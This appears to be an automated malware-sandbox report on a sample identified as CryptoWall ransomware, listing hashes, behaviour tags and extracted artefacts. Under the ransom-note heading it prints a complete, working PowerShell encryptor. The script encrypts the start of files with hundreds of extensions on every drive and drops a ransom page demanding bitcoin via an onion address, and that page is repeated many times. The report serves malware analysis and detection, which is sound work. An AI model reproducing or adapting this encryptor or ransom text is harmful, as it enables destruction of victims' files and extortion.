Overview

overview

10

Static

static

3

JaffaCakes...d0.exe

windows7-x64

10

JaffaCakes...d0.exe

windows10-2004-x64

10

Sharing

Copy URL Twitter E-mail

General

  • Target
    JaffaCakes118_61f8062ccbd8a11f1eb4b48e6a1267d0
  • Size 204KB
  • Sample250102-cek9fsxkfx
  • SHA256 c37e36a539eebaa8bfe5b646690c478367a49059900fbd7ab9e552076d480bed
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
cryptowallransomware

Malware Config

Extracted

Path

  • C:\Users\Admin\AppData\Local\Temp\Quest Software\PowerGUI\e0580a3f-d28c-4997-a282-18ce397939e8\crypter.ps1

Ransom Note
  • [Reflection.Assembly]::LoadWithPartialName('System.Security')|Out-Null $gfmnvurhsgFhfkjvyT = BhftrhbnsgwtrjbjusjfHjdjfrghfjT [byte[]]$qShcyctRfgvhR=[system.Text.Encoding]::Unicode.GetBytes($gfmnvurhsgFhfkjvyT) $wjUmfhvtBrfhgT = New-Object System.Security.Cryptography.RSACryptoServiceProvider(2048) $wjUmfhvtBrfhgT.FromXmlString("R5jwRwQSjKYutN+2+Ds/qfC8lfEp7uFn7J6b2uyoOQcumI4OtrbBl6sdUeq+17MKB0iYdxdHAskKdRH6SRwOU4WOA2eplbd13XZQRAvJqwcF+2vPLRcl//QW6MfsBO/yBMHU+OQVuQpLRfgvtGhb2EN4VIOCl/lPSLrtAvvD17QVRD8KB4p8mujr87s9QeXojtL3nWfbQ0EnbFH+Oc0nRScC5IFcPjdsTBOt6cRYKTePpmTc+ks5H5Oj1QBZnAQIQii9/KL0siG14VkqYwjJgwbKCmdEViZYT18QaeZ9JqrV9UkoU7nRK8ptlqTWy2ezQIOR+7tJjUnhWSuMITTlPi4AQaNEWBD3f3SISZFDmx/Rn0W3OmX59suix07VwmjWBgeh5qhFKL0sWI7g90anzwTGRKXxfxb+/rXBEfgA1aYep0WHOXPJbSIGoRiIPejSx/hHI7nljxqU6ktMe++GKV1hs7TCGCximT8nY3gkZDXFgbe1WoZSarqWRRGyFmS35R3RBoRLA3bhjN50DUTUvFUR+i9IKb0cHnA+8cuBzjgydJZC9Lmfep4f1DR2iMoxWHXBra2krO4Kn6d2gtEO3BYfKqerYU8A2/J1kEv9OYxzP7cd1ZbMIkA27JKgWqpVyhG6VkpyqDIihU9sqb2XdjYHSF8qI0U=AQAB") $IknFGtHh=[system.Convert]::ToBase64String($wjUmfhvtBrfhgT.Encrypt($qShcyctRfgvhR, $false)) $yBhvgftRmbkloU = [Text.Encoding]::UTF8.GetBytes("uftrhGbvrejfThdgkUjdPodsgWvG") $ThnfvrHgcr = new-Object System.Security.Cryptography.RijndaelManaged $ThnfvrHgcr.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $gfmnvurhsgFhfkjvyT, $yBhvgftRmbkloU, 5).GetBytes(32) $ThnfvrHgcr.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("66Hybbrx43hv5T") )[0..15] $ThnfvrHgcr.Padding="Zeros" $ThnfvrHgcr.Mode="CBC" $43hvtRhnvy2=gdr|where {$_.Free}|Sort-Object -Descending foreach($YhbTrvgJ in $43hvtRhnvy2){ gci $YhbTrvgJ.root -Recurse -Include "*.doc","*.xls","*.docx","*.xlsx","*.mp3","*.waw","*.jpg","*.jpeg","*.txt","*.rtf","*.pdf","*.rar","*.zip","*.psd","*.tif","*.wma","*.gif","*.bmp","*.ppt","*.pptx","*.docm","*.xlsm","*.pps","*.ppsx","*.ppd","*.eps","*.png","*.ace","*.djvu","*.tar","*.cdr","*.max","*.wmv","*.avi","*.wav","*.mp4","*.pdd","*.php","*.aac","*.ac3","*.amf","*.amr","*.dwg","*.dxf","*.accdb","*.mod","*.tax2013","*.tax2014","*.oga","*.ogg","*.pbf","*.ra","*.raw","*.saf","*.val","*.wave","*.wow","*.wpk","*.3g2","*.3gp","*.3gp2","*.3mm","*.amx","*.avs","*.bik","*.dir","*.divx","*.dvx","*.evo","*.flv","*.qtq","*.tch","*.rts","*.rum","*.rv","*.scn","*.srt","*.stx","*.svi","*.swf","*.trp","*.vdo","*.wm","*.wmd","*.wmmp","*.wmx","*.wvx","*.xvid","*.3d","*.3d4","*.3df8","*.pbs","*.adi","*.ais","*.amu","*.arr","*.bmc","*.bmf","*.cag","*.cam","*.dng","*.ink","*.jif","*.jiff","*.jpc","*.jpf","*.jpw","*.mag","*.mic","*.mip","*.msp","*.nav","*.ncd","*.odc","*.odi","*.opf","*.qif","*.qtiq","*.srf","*.xwd","*.abw","*.act","*.adt","*.aim","*.ans","*.asc","*.ase","*.bdp","*.bdr","*.bib","*.boc","*.crd","*.diz","*.dot","*.dotm","*.dotx","*.dvi","*.dxe","*.mlx","*.err","*.euc","*.faq","*.fdr","*.fds","*.gthr","*.idx","*.kwd","*.lp2","*.ltr","*.man","*.mbox","*.msg","*.nfo","*.now","*.odm","*.oft","*.pwi","*.rng","*.rtx","*.run","*.ssa","*.text","*.unx","*.wbk","*.wsh","*.7z","*.arc","*.ari","*.arj","*.car","*.cbr","*.cbz","*.gz","*.gzig","*.jgz","*.pak","*.pcv","*.puz","*.r00","*.r01","*.r02","*.r03","*.rev","*.sdn","*.sen","*.sfs","*.sfx","*.sh","*.shar","*.shr","*.sqx","*.tbz2","*.tg","*.tlz","*.vsi","*.wad","*.war","*.xpi","*.z02","*.z04","*.zap","*.zipx","*.zoo","*.ipa","*.isu","*.jar","*.js","*.udf","*.adr","*.ap","*.aro","*.asa","*.ascx","*.ashx","*.asmx","*.asp","*.indd","*.asr","*.qbb","*.bml","*.cer","*.cms","*.crt","*.dap","*.htm","*.moz","*.svr","*.url","*.wdgt","*.abk","*.bic","*.big","*.blp","*.bsp","*.cgf","*.chk","*.col","*.cty","*.dem","*.elf","*.ff","*.gam","*.grf","*.h3m","*.h4r","*.iwd","*.ldb","*.lgp","*.lvl","*.map","*.md3","*.mdl","*.mm6","*.mm7","*.mm8","*.nds","*.pbp","*.ppf","*.pwf","*.pxp","*.sad","*.sav","*.scm","*.scx","*.sdt","*.spr","*.sud","*.uax","*.umx","*.unr","*.uop","*.usa","*.usx","*.ut2","*.ut3","*.utc","*.utx","*.uvx","*.uxx","*.vmf","*.vtf","*.w3g","*.w3x","*.wtd","*.wtf","*.ccd","*.cd","*.cso","*.disk","*.dmg","*.dvd","*.fcd","*.flp","*.img","*.iso","*.isz","*.md0","*.md1","*.md2","*.mdf","*.mds","*.nrg","*.nri","*.vcd","*.vhd","*.snp","*.bkf","*.ade","*.adpb","*.dic","*.cch","*.ctt","*.dal","*.ddc","*.ddcx","*.dex","*.dif","*.dii","*.itdb","*.itl","*.kmz","*.lcd","*.lcf","*.mbx","*.mdn","*.odf","*.odp","*.ods","*.pab","*.pkb","*.pkh","*.pot","*.potx","*.pptm","*.psa","*.qdf","*.qel","*.rgn","*.rrt","*.rsw","*.rte","*.sdb","*.sdc","*.sds","*.sql","*.stt","*.t01","*.t03","*.t05","*.tcx","*.thmx","*.txd","*.txf","*.upoi","*.vmt","*.wks","*.wmdb","*.xl","*.xlc","*.xlr","*.xlsb","*.xltx","*.ltm","*.xlwx","*.mcd","*.cap","*.cc","*.cod","*.cp","*.cpp","*.cs","*.csi","*.dcp","*.dcu","*.dev","*.dob","*.dox","*.dpk","*.dpl","*.dpr","*.dsk","*.dsp","*.eql","*.ex","*.f90","*.fla","*.for","*.fpp","*.jav","*.java","*.lbi","*.owl","*.pl","*.plc","*.pli","*.pm","*.res","*.rsrc","*.so","*.swd","*.tpu","*.tpx","*.tu","*.tur","*.vc","*.yab","*.8ba","*.8bc","*.8be","*.8bf","*.8bi8","*.bi8","*.8bl","*.8bs","*.8bx","*.8by","*.8li","*.aip","*.amxx","*.ape","*.api","*.mxp","*.oxt","*.qpx","*.qtr","*.xla","*.xlam","*.xll","*.xlv","*.xpt","*.cfg","*.cwf","*.dbb","*.slt","*.bp2","*.bp3","*.bpl","*.clr","*.dbx","*.jc","*.potm","*.ppsm","*.prc","*.prt","*.shw","*.std","*.ver","*.wpl","*.xlm","*.yps","*.md3","*.1cd"|%{ try{ $ynvgerFhvmnrD = New-Object System.IO.BinaryReader([System.IO.File]::Open($_, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII) if ($ynvgerFhvmnrD.BaseStream.Length -lt 19218){ $h37fjf6Gfh = $ynvgerFhvmnrD.BaseStream.Length } else { $h37fjf6Gfh = 19218 } $qShcyctRfgvhR = $ynvgerFhvmnrD.ReadBytes($h37fjf6Gfh) $ynvgerFhvmnrD.Close() $hg7u3n745 = $ThnfvrHgcr.CreateEncryptor() $wqsgThvmbhr = new-Object IO.MemoryStream $7jfgd4GbctW = new-Object Security.Cryptography.CryptoStream $wqsgThvmbhr,$hg7u3n745,"Write" $7jfgd4GbctW.Write($qShcyctRfgvhR, 0,$qShcyctRfgvhR.Length) $7jfgd4GbctW.Close() $wqsgThvmbhr.Close() $hg7u3n745.Clear() $OoIunbTgbh = $wqsgThvmbhr.ToArray() $20hBtcrHg = New-Object System.IO.BinaryWriter([System.IO.File]::Open($_, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII) $20hBtcrHg.Write($OoIunbTgbh,0,$OoIunbTgbh.Length) $20hBtcrHg.Close() $rHnbjUjcmvgR = $_.Directory.ToString() + '\DECRYPT_INSTRUCTION.html' if(!(Test-path($rHnbjUjcmvgR))){ New-Item -Path $rHnbjUjcmvgR -ItemType file -Value '<title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/download-easy.html.en">here</a> and go to <b>http://r7twae4a7jtozjwv.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>Q7bcR32Ws6</b>' Add-Content -Path $rHnbjUjcmvgR -Value ('<p><b>Guaranteed recovery is provided before scheduled deletion of private key on the day of '+(Get-Date).AddDays(+30)) Add-Content -Path $rHnbjUjcmvgR -Value ('<p><b>The price to obtain the decrypter goes from 2BTC to 4BTC on the day of '+(Get-Date).AddDays(+10)) }} catch { } }}

Extracted

Path

  • C:\Program Files\Google\Chrome\Application\106.0.5249.119\VisualElements\DECRYPT_INSTRUCTION.html

Ransom Note
  • <title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/download-easy.html.en">here</a> and go to <b>http://r7twae4a7jtozjwv.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>Q7bcR32Ws6</b>

Extracted

Path

  • C:\Program Files\Google\Chrome\Application\106.0.5249.119\DECRYPT_INSTRUCTION.html

Ransom Note
  • <title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/download-easy.html.en">here</a> and go to <b>http://r7twae4a7jtozjwv.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>Q7bcR32Ws6</b><p><b>Guaranteed recovery is provided before scheduled deletion of private key on the day of 02/01/2025 01:59:47 <p><b>The price to obtain the decrypter goes from 2BTC to 4BTC on the day of 01/12/2025 01:59:47

Extracted

Path

  • C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\DECRYPT_INSTRUCTION.html

Ransom Note
  • <title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/download-easy.html.en">here</a> and go to <b>http://r7twae4a7jtozjwv.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>Q7bcR32Ws6</b><p><b>Guaranteed recovery is provided before scheduled deletion of private key on the day of 02/01/2025 01:59:48

Extracted

Path

  • C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\DECRYPT_INSTRUCTION.html

Ransom Note
  • <title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/download-easy.html.en">here</a> and go to <b>http://r7twae4a7jtozjwv.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>Q7bcR32Ws6</b><p><b>Guaranteed recovery is provided before scheduled deletion of private key on the day of 02/01/2025 01:59:48 <p><b>The price to obtain the decrypter goes from 2BTC to 4BTC on the day of 01/12/2025 01:59:48

Extracted

Path

  • C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\DECRYPT_INSTRUCTION.html

Ransom Note
  • <title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/download-easy.html.en">here</a> and go to <b>http://r7twae4a7jtozjwv.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>Q7bcR32Ws6</b><p><b>Guaranteed recovery is provided before scheduled deletion of private key on the day of 02/01/2025 01:59:49

Extracted

Path

  • C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\DECRYPT_INSTRUCTION.html

Ransom Note
  • <title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/download-easy.html.en">here</a> and go to <b>http://r7twae4a7jtozjwv.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>Q7bcR32Ws6</b><p><b>Guaranteed recovery is provided before scheduled deletion of private key on the day of 02/01/2025 01:59:49 <p><b>The price to obtain the decrypter goes from 2BTC to 4BTC on the day of 01/12/2025 01:59:49

Extracted

Path

  • C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\DECRYPT_INSTRUCTION.html

Ransom Note
  • <title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/download-easy.html.en">here</a> and go to <b>http://r7twae4a7jtozjwv.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>Q7bcR32Ws6</b><p><b>Guaranteed recovery is provided before scheduled deletion of private key on the day of 02/01/2025 01:59:50 <p><b>The price to obtain the decrypter goes from 2BTC to 4BTC on the day of 01/12/2025 01:59:50

Extracted

Path

  • C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\DECRYPT_INSTRUCTION.html

Ransom Note
  • <title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/download-easy.html.en">here</a> and go to <b>http://r7twae4a7jtozjwv.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>Q7bcR32Ws6</b><p><b>Guaranteed recovery is provided before scheduled deletion of private key on the day of 02/01/2025 01:59:50

Extracted

Path

  • C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\DECRYPT_INSTRUCTION.html

Ransom Note
  • <title>Your files were encrypted!</title><h2>Your files were encrypted and locked with a RSA2048 key</h2><p>To decrypt your files:<br> Download the Tor browser <a href="https://www.torproject.org/download/download-easy.html.en">here</a> and go to <b>http://r7twae4a7jtozjwv.onion</b> within the browser.<br>Follow the instructions and you will receive the decrypter within 12 hours.<br>You have ten days to obtain the decrypter before the price to obtain the decrypter is doubled. Scheduled deletion of the private key from our server is after 30 days - leaving your files irrevocably broken.<br>Your ID is <b>Q7bcR32Ws6</b><p><b>Guaranteed recovery is provided before scheduled deletion of private key on the day of 02/01/2025 01:59:53

Targets

    • Target
      JaffaCakes118_61f8062ccbd8a11f1eb4b48e6a1267d0
    • Size 204KB
    • SHA256 c37e36a539eebaa8bfe5b646690c478367a49059900fbd7ab9e552076d480bed
    • MD5 SHA1 SHA512 SSDEEP
    Score
    10/10
    cryptowallransomware

    • CryptoWall

      Ransomware family which is an improved version of the older CryptoDefense.

      ransomwarecryptowall

    • Cryptowall family

      cryptowall

    • Drops file in Drivers directory

    • Drops desktop.ini file(s)

    • Drops file in System32 directory

    behavioral1behavioral2

MITRE ATT&CK Matrix

Tasks